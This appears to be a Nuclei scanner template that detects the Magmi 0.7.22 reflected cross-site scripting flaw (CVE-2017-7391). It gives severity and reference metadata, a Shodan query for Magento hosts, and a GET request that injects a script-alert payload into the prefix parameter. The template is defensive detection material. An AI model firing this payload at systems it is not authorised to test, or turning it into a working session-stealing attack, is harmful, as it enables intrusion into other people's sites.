Magmi 0.7.22 - Cross-Site Scripting

id: CVE-2017-7391

info:
  name: Magmi 0.7.22 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Magmi 0.7.22 contains a cross-site scripting vulnerability due to insufficient filtration of user-supplied data (prefix) passed to the magmi-git-master/magmi/web/ajax_gettime.php URL.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Magmi or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://github.com/dweeves/magmi-git/issues/522
    - https://github.com/dweeves/magmi-git/releases/download/0.7.22/magmi_full_0.7.22.zip
    - https://github.com/dweeves/magmi-git/pull/525
    - https://nvd.nist.gov/vuln/detail/CVE-2017-7391
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-7391
    cwe-id: CWE-79
    epss-score: 0.08173
    epss-percentile: 0.94126
    cpe: cpe:2.3:a:magmi_project:magmi:0.7.22:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: magmi_project
    product: magmi
    shodan-query: http.component:"magento"
  tags: cve2017,cve,magmi,xss,magmi_project,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/magmi/web/ajax_gettime.php?prefix=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain);</script><'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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